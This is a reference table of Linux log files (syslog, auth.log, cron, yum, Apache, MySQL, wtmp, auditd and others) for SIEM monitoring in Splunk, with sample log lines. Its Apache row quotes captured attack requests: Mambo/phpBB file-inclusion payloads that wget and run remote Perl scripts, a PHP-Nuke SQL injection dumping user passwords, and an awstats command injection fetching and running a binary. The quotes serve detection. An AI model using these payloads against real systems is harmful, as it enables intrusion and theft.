SIEM - *nix logs data sources

Rustam Abdullin (Ideas are welcome)
r.m.abdullin@gmail.com
https://www.linkedin.com/in/rustam-abdullin-11010635/

#	Source	Description (What's logged here?)	How we can use it (security)	Example (Security related logs samples)	Configuration Details	Splunk App / Is CIM DataModels are supported?	Is it avaialble in Splunk ES?
1	**RedHat-based systems:** **/var/log/messages** **Debian-based systems:** **/var/log/syslog**	This log file contains generic system activity logs. It is mainly used to store informational and non-critical system messages.	Here you can track non-kernel boot errors, application-related service errors and the messages that are logged during system startup This is the first log file that the Linux administrators should check if something goes wrong. Also, Linux security systems uses this log file by default: **iptables openvpn**.	**Martian log enabled:** Feb 1 17:45:05 gatlan kernel: martian source 90.20.131.158 from 192.168.0.2, on dev ppp0 Feb 1 17:45:05 gatlan kernel: ll header: 45:48:00:28:c8:6a:40:00:72:06:a1:c0:c0:a8:00:02:5a:14:83:9e:12:36 Feb 1 17:45:26 gatlan kernel: martian source 90.20.131.158 from 192.168.0.2, on dev ppp0 Feb 1 17:45:26 gatlan kernel: ll header: 45:48:00:28:cc:f9:40:00:72:06:9d:31:c0:a8:00:02:5a:14:83:9e:12:36 Feb 1 17:46:10 gatlan kernel: martian source 90.20.131.158 from 192.168.0.2, on dev ppp0 Feb 1 17:46:10 gatlan kernel: ll header: 45:48:00:28:d6:f2:40:00:72:06:93:38:c0:a8:00:02:5a:14:83:9e:12:36 **UDP warning (netfilter module):** kernel: UDP: short packet: From 2.0.0.0:3800 37860/38 to 72.17.117.129:20969 **TCP shrunk window (netfilter module):** Jan 24 20:01:36 Lab3 kernel: TCP: Peer 93.97.112.201:50524/6960 unexpectedly shrunk window 930362701:930364976 (repaired)		Splunk Add-on for Unix and Linux https://splunkbase.splunk.com/app/833/	
2	**RedHat-based systems:** **/var/log/secure** **Debian-based systems:** **/var/log/auth.log**	All authentication related events in Debian and Ubuntu server are logged here. If you're looking for anything involving the user authorization mechanism, you can find it in this log file. RedHat and CentOS based systems use this log file instead of /var/log/auth.log. It is mainly used to track the usage of authorization systems. It stores all security related messages including authentication failures. It also tracks sudo logins, SSH logins and other errors logged by system security services daemon.	Suspect that there might have been a security breach in your server? Notice a suspicious javascript file where it shouldn't be? If so, then find this log file asap! Investigate failed login attempts Investigate brute-force attacks and other vulnerabilities related to user authorization mechanism. All user authentication events are logged here. This log file can provide detailed insight about unauthorized or failed login attempts Can be very useful to detect possible hacking attempts. It also stores information about successful logins and tracks the activities of valid users.	**SSH Login sucessfull:** May 21 20:22:28 slacker2 sshd[8813]: Accepted password for root from 192.168.20.185 port 1066 ssh2 May 21 20:22:28 sol2 sshd[23857]: [ID 702911 auth.notice] User test1, coming from 192.168.2.185, - authenticated. Oct 11 08:05:46 hostname auth|security.info sshd[323808]: Accepted publickey for usr1 from 2.3.4.5 port 37909 ssh2 **SSH Login failed:** May 21 20:22:28 slacker sshd[21487]: Failed password for root from 192.168.20.185 port 1045 ssh2 **SSH Invalid user login attempt:** Jul 7 10:51:24 chaves sshd[19537]: Invalid user admin from spongebob.lab.ossec.net Jul 7 10:53:24 chaves sshd[12914]: Failed password for invalid user test-inv from spongebob.lab.ossec.net Jul 7 10:53:24 kiko sshd[3251]: User dcid not allowed because listed in DenyUsers **SUDO:** Jan 21 11:34:24 server-0 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/cp /home/user1/file1.txt /root/file1.txt		https://splunkbase.splunk.com/app/3476/ CIM: yes https://splunkbase.splunk.com/app/3476/ Splunk Add-on for Unix and Linux https://splunkbase.splunk.com/app/833/ CIM: yes	
3	**/var/log/boot.log**	The system initialization script, /etc/init.d/bootmisc.sh, sends all bootup messages to this log file This is the repository of booting related information and messages logged during system startup process.	??? You should analyze this log file to investigate issues related to improper shutdown, unplanned reboots or booting failures. Can also be useful to determine the duration of system downtime caused by an unexpected shutdown.	???			
4	**/var/log/dmesg**	This log file contains Kernel ring buffer messages. Information related to hardware devices and their drivers are logged here. As the kernel detects physical hardware devices associated with the server during the booting process, it captures the device status, hardware errors and other generic messages.	This log file is useful for dedicated server customers mostly. If a certain hardware is functioning improperly or not getting detected, then you can rely on this log file to troubleshoot the issue. Or, you can purchase a managed server from us and we'll monitor it for you.	**Connection of USB input device to baremetal server:** [9358.624908] input: SEM USB Keyboard Consumer Control as /devices/pci0000:00/0000:00:14.0/usb1/1-2/1-2:1.1/0003:1A2C:2124.0018/input/input58 [9358.681734] input: SEM USB Keyboard System Control as /devices/pci0000:00/0000:00:14.0/usb1/1-2/1-2:1.1/0003:1A2C:2124.0018/input/input59 [9358.681902] hid-generic 0003:1A2C:2124.0018: input,hidraw6: USB HID v1.10 Device [SEM USB Keyboard] on usb-0000:00:14.0-2/input1 [9360.874780] usb 1-1: new low-speed USB device number 22 using xhci_hcd [9361.018780] usb 1-1: New USB device found, idVendor=046d, idProduct=c05a, bcdDevice=63.00 [9361.018786] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [9361.018790] usb 1-1: Product: USB Optical Mouse [9361.018793] usb 1-1: Manufacturer: Logitech [9361.023264] input: Logitech USB Optical Mouse as /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/0003:046D:C05A.0019/input/input60 [9361.023673] hid-generic 0003:046D:C05A.0019: input,hidraw7: USB HID v1.11 Mouse [Logitech USB Optical Mouse] on usb-0000:00:14.0-1/input0			
5	**/var/log/kern.log**	This is a very important log file as it contains information logged by the kernel.	Perfect for troubleshooting kernel related errors and warnings. Kernel logs can be helpful to troubleshoot a custom-built kernel. Can also come handy in debugging hardware and connectivity issues.	???			
6	**/var/log/faillog**	This file contains information on failed login attempts.	It can be a useful log file to find out any attempted security breaches involving username/password hacking and brute-force attacks.				
7	**/var/log/cron**	This log file records information on cron jobs.	Whenever a cron job runs, this log file records all relevant information including successful execution and error messages in case of failures. If you're having problems with your scheduled cron, you need to check out this log file.	**Crontab edited by root:** Sep 11 09:46:33 sys1 crontab[20601]: (root) BEGIN EDIT (root) Sep 11 09:46:39 sys1 crontab[20601]: (root) REPLACE (root) Sep 11 09:46:39 sys1 crontab[20601]: (root) END EDIT (root) **This is root editing another user's crontab:** Sep 11 09:50:42 sys1 crontab[20230]: (root) BEGIN EDIT (user1) Sep 11 09:51:06 sys1 crontab[20230]: (root) REPLACE (user1) Sep 11 09:51:06 sys1 crontab[20230]: (root) END EDIT (user1) **This is a user editing their own crontab:** Sep 11 09:51:39 sys1 crontab[20761]: (user1) BEGIN EDIT (user1) Sep 11 09:51:46 sys1 crontab[20761]: (user1) REPLACE (user1) Sep 11 09:51:46 sys1 crontab[20761]: (user1) END EDIT (user1) **Additional samples:** Sep 11 15:20:57 copacabana crontab[7972]: (dcid) BEGIN EDIT (dcid) Sep 11 15:21:26 copacabana crontab[7972]: (dcid) REPLACE (dcid) Sep 11 15:21:26 copacabana crontab[7972]: (dcid) END EDIT (dcid) Sep 11 15:22:01 copacabana /USR/SBIN/CRON[7993]: (dcid) CMD (/bin/xx) Sep 11 15:22:01 copacabana /USR/SBIN/CRON[7992]: (dcid) MAIL (mailed 102 bytes of output but got status 0x0001) **crond samples:** May 28 13:04:20 Lab7 crond[2843]: /usr/sbin/crond 4.4 dillon's cron daemon, started with loglevel notice May 28 13:04:20 Lab7 crond[2843]: no timestamp found (user root job sys-hourly) May 28 13:04:20 Lab7 crond[2843]: no timestamp found (user root job sys-daily) May 28 13:04:20 Lab7 crond[2843]: no timestamp found (user root job sys-weekly) May 28 13:04:20 Lab7 crond[2843]: no timestamp found (user root job sys-monthly) Jun 13 07:46:22 Lab7 crond[3592]: unable to exec /usr/sbin/sendmail: cron output for user root job sys-daily to /dev/null			
8	**/var/log/yum.log**	It contains the information that is logged when a new package is installed using the yum command.	Track the installation of system components and software packages. Check the messages logged here to see whether a package was correctly installed or not. Helps you troubleshoot issues related to software installations.Suppose your server is behaving unusually and you suspect a recently installed software package to be the root cause for this issue. In such cases, you can check this log file to find out the packages that were installed recently and identify the malfunctioning program.	**Yum log samples:** Dec 7 07:05:06 ax yum: Installed: libX11-devel - 1.0.3-9.el5.i386 Dec 7 07:05:06 ax yum: Installed: libXext-devel - 1.0.1-2.1.i386 Dec 7 07:05:07 ax yum: Installed: libICE-devel - 1.0.1-2.1.i386 Dec 7 14:03:48 axz yum-updatesd-helper: error getting update info: Cannot retrieve repository metadata (repomd.xml) for repository: rhel-x86_64-server-vt-5. Please verify its path and try again Dec 18 01:50:16 xyz yum: Updated: nspr - 4.7.3-2.el5.x86_64 Dec 18 01:50:16 xyz yum: Updated: nss - 3.12.2.0-2.el5.x86_64 Aug 20 12:45:56 Updated: perl.i386 4:5.8.8-10.el5_2.3 Aug 20 12:46:57 Installed: device-mapper-event.i386 1.02.24-1.el5 Aug 20 12:51:21 Erased: libhugetlbfs-lib Jan 25 09:27:45 Installed: 1:mc-4.8.7-11.el7.x86_64			

9	**HTTP** **RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log** **Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log** **FreeBSD Apache access log file location – /var/log/httpd-access.log**	This directory contains the logs recorded by the Apache server. Apache server logging information are stored in two different log files – error_log and access_log. /var/log/apache2/access.log - records of every page served and every file loaded by the web server. /var/log/apache2/error.log - records of all error conditions reported by the HTTP server	The error_log contains messages related to httpd errors such as memory issues and other system related errors. This is the place where Apache server writes events and error records encountered while processing httpd requests. If something goes wrong with the Apache webserver, check this log for diagnostic information. Besides the error-log file, Apache also maintains a separate list of access_log. All access requests received over HTTP are stored in the access_log file. Helps you keep track of every page served and every file loaded by Apache. Logs the IP address and user ID of all clients that make connection requests to the server. Stores information about the status of the access requests, – whether a response was sent successfully or the request resulted in a failure. HTTP Status codes: https://blog.codeasite.com/wp-content/uploads/Downloads/HTTP%20Status%20Codes%20-%20Code%20A%20Site%20Resource.pdf /var/log/apache2/access.log (Ubuntu/DEB) Access log file records incoming requests and all requests processed by apache. Such as HTTP get and post requests. These logs can be parsed by log parsers such as awstats or webalizer. This is configurable by the CustomLog directive. /var/log/apache2/error.log (Ubuntu/DEB) All Apache errors and diagnostic information found while serving requests are stored here. Location of the error.log file is set by ErrorLog Directive.	**Mambo attacks and their patterns in the apache access log file.** 193.91.75.11 - - [18/Aug/2006:13:23:13 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/nokia-yes/tool.gif?&cmd=cd%20/tmp;/wget%20http://www.freewebs.com/nokia-yes/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0" 212.227.132.51 - - [18/Aug/2006:05:24:07 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.openkid.co.kr/tool.gif?&cmd=cd%20/tmp;/wget%20http://www.openkid.co.kr/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0" 201.226.254.210 - - [18/Aug/2006:13:47:46 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/nokia-yes/tool.gif?&cmd=cd%20/tmp;/wget%20http://www.freewebs.com/nokia-yes/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0" 212.227.132.51 - - [18/Aug/2006:13:56:29 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/nokia-yes/tool.gif?&cmd=cd%20/tmp;/wget%20http://www.freewebs.com/nokia-yes/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0" 62.103.159.21 - - [18/Aug/2006:13:58:02 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/nokia-yes/tool.gif?&cmd=cd%20/tmp;/wget%20http://www.freewebs.com/nokia-yes/mambo.txt;perl%20mambo.txt;rm%20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0" PHPBB attacks and their patterns in the apache access log file. 207.36.232.148 - - [28/Aug/2006:07:08:46 -0300] "GET /index.php/Artigos/modules/Forums/admin/admin_users.php?phpbb_root_path=http://paupal.info/folder/mambo1.txt;perl%20mambo1.txt;rm%20-rf%20mambo1.*? HTTP/1.0" 200 14611 "-" "Mozilla/5.0" 193.255.143.5 - - [28/Aug/2006:07:52:45 -0300] "GET /index.php/modules/Forums/admin/admin_users.php?phpbb_root_path=http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&cmd=cd%20/tmp;/wget%20http://paupal.info/folder/mambo1.txt;perl%20mambo1.txt;rm%20-rf%20mambo1.*? HTTP/1.0" 200 14527 "-" "Mozilla/5.0" SQL injection attempt on PHP Nuke 200.96.104.241 - - [12/Sep/2006:09:44:28 -0300] "GET /modules.php?name=Downloads&d_op=modifydownloadrequest&%20lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,%20user_email,user_level,0,0%20FROM%20nuke_users HTTP/1.1" 200 9918 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" **Night of scans** [17/Dec/2005:02:40:45 -0500] - - 85.226.238.xxx "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" "-" 302 547 0 [17/Dec/2005:02:40:46 -0500] - - 85.226.238.xxx "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" "-" 302 547 0 [17/Dec/2005:02:40:47 -0500] - - 85.226.238.xxx "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" "-" 302 547 0			
10	**/var/log/mysqld.log or /var/log/mysql.log**	As the name suggests, this is the MySQL log file. All debug, failure and success messages related to the [mysqld] and [mysqld_safe] daemon are logged to this file. RedHat, CentOS and Fedora stores MySQL logs under /var/log/mysqld.log, while Debian and Ubuntu maintains the log in /var/log/mysql.log directory.	Use this log to identify problems while starting, running, or stopping mysqld. Get information about client connections to the MySQL data directory You can also setup 'long_query_time' parameter to log information about query locks and slow running queries.	Notes: The timestamp of MySQL logs only appear in the first event during that time. It means that if you have two logs within the same second, only the first one will have the timestamp. Startup: 060516 22:38:46 mysqld started InnoDB: The first specified data file ./ibdata1 did not exist: InnoDB: a new database to be created! 060516 22:38:54 InnoDB: Started; log sequence number 0 0 Shutdown: 060516 22:38:54 mysqld ended 070823 20:58:09 [Note] /usr/libexec/mysqld: Shutdown complete Error: 060516 22:38:54 [ERROR] Fatal error: Can't open privilege tables: Table 'mysql.host' doesn't exist Connections,queries: 070823 21:00:32 1 Connect root@localhost on test1 070823 21:00:48 1 Query show tables 070823 21:00:56 1 Query select * from category 070917 16:29:01 21 Query select * from location 070917 16:29:12 21 Query select * from location where id = 1 LIMIT 1			
11	**/var/log/daemon.log**	tracks services running in the background that perform important tasks, but has no graphical output.					
12	**/var/log/btmp**	recordings of failed login attempts					
13	**/var/log/utmp**	current login state, by user					
14	**/var/log/lastlog** **/var/log/faillog** **/var/log/wtmp**	The login failures log located at /var/log/faillog is actually designed to be parsed and displayed by the faillog command. The last logins log at /var/log/lastlog should not typically be parsed and examined by humans, but rather should be used in conjunction with the lastlog command. The file /var/log/wtmp contains login records, but unlike /var/log/lastlog above, /var/log/wtmp is not used to show a list of recent logins, but is instead used by other utilities such as the who command to present a listed of currently logged in users.	/var/log/wtmp – Shows user, source, time, and duration of login – Need to use Linux "last" command to view	(5:535)$ sudo utmpdump /var/log/wtmp [5] [02187] [l0] [ ] [4.0.5-gentoo] [0.0.0.0] [Bt aar 11 16:50:07 2015] [1] [00000] [~~] [shutdown] [4.0.5-gentoo] [0.0.0.0] [Bt aar 11 16:50:08 2015] [2] [00000] [~~] [reboot] [3.18.12-gentoo] [0.0.0.0] [Bt aar 11 16:50:57 2015] [8] [00368] [rc] [ ] [3.18.12-gentoo] [0.0.0.0] [Bt aar 11 16:50:57 2015] [1] [20019] [~~] [runlevel] [3.18.12-gentoo] [0.0.0.0] [Bt aar 11 16:50:57 2015]			
15	**sudo** **/var/log/sudo**				https://github.com/doksu/TA_sudo	sudo technology add-on https://splunkbase.splunk.com/app/3038/#/details CIM: yes	Authentication
16	**smb** **log file = /var/log/samba/%m.log**	The Server Message Block Protocol (SMB) server, Samba is popularly used for sharing files between your Ubuntu computer and other computers which support the SMB protocol. Samba keeps three distinct types of logs in the subdirectory /var/log/samba: log.nmbd - messages related to Samba's NETBIOS over IP functionality (the network stuff) log.smbd - messages related to Samba's SMB/CIFS functionality (the file and print sharing stuff) log.[IP_ADDRESS] - messages related to requests for services from the IP address contained in the log file name, for example, log.192.168.1.1.				https://wiki.samba.org/index.php/Configuring_Logging_on_a_Samba_Server	
17	**nginx** **/var/log/nginx/error.log** **/var/log/nginx/access.log**	NGINX writes information about encountered issues of different severity levels to the error log. The error_log directive sets up logging to a particular file, stderr, or syslog and specifies the minimal severity level of messages to log. By default, the error log is located at logs/error.log (the absolute path depends on the operating system and installation), and messages from all severity levels above the one specified are logged. NGINX writes information about client requests in the access log right after the request is processed. By default, the access log is located at logs/access.log, and the information is written to the log in the predefined combined format. To override the default setting, use the log_format directive to change the format of logged messages, as well as the access_log directive to specify the location of the log and its format. The log format is defined using variables.		Access log sample: {"time_local": "29/Dec/2016:20:31:59 +0000","core": {"body_bytes_sent": "102","remote_addr": "127.0.0.1","remote_user": "","request": "GET /stub_status HTTP/1.1","http": {"http_referer": "","http_user_agent": "nginx-amplify-agent/0.40-2","http_x_forwarded_for": ""}}}	https://www.nginx.com/blog/operational-intelligence-nginx-plus-splunk-enterprise/	Splunk Add-on for NGINX https://splunkbase.splunk.com/app/3258/ CIM: yes	???
18	**netfilter iptables firewalld** **Debian: /var/log/ufw.log** **RedHat: /var/log/iptables.log**				"linux:netfilter" sourcetype https://github.com/doksu/TA_netfilter/wiki	Linux Netfilter (iptables) Technology Add-On https://splunkbase.splunk.com/app/3089/ Netfilter Iptables App for Splunk Enterprise https://splunkbase.splunk.com/app/1353/#/details Yes	????
19	**Command History (bash):** **• $HOME/.bash_history**		• Unfortunately not time-stamped by default • Can be modified/removed by user				

Advanced (HIDS, etc.)

23	**OSSEC:**			https://ossec-docs.readthedocs.io/en/latest/log_samples/ossec/attacks_caught_by_ossec.html#sshd-brute-force			
16	**auditd**		/var/log/audit/audit.log Stores information from Linux Audit deamon (auditd). This log contains information on what users perform read/writes to . An example is you can determine who changed a specific file. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-understanding_audit_log_files			Linux Auditd Technology Add-On https://splunkbase.splunk.com/app/4232/ CIM: yes	??? Alert, IDS, Change, Account, Authentication

Articles:

https://www.sans.org/brochure/course/log-management-in-depth/6

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-understanding_audit_log_files

https://help.ubuntu.com/community/LinuxLogFiles

https://ossec-docs.readthedocs.io/en/latest/log_samples/firewalls/iptables.html

https://ossec-docs.readthedocs.io/en/latest/log_samples/

https://habr.com/ru/post/332502/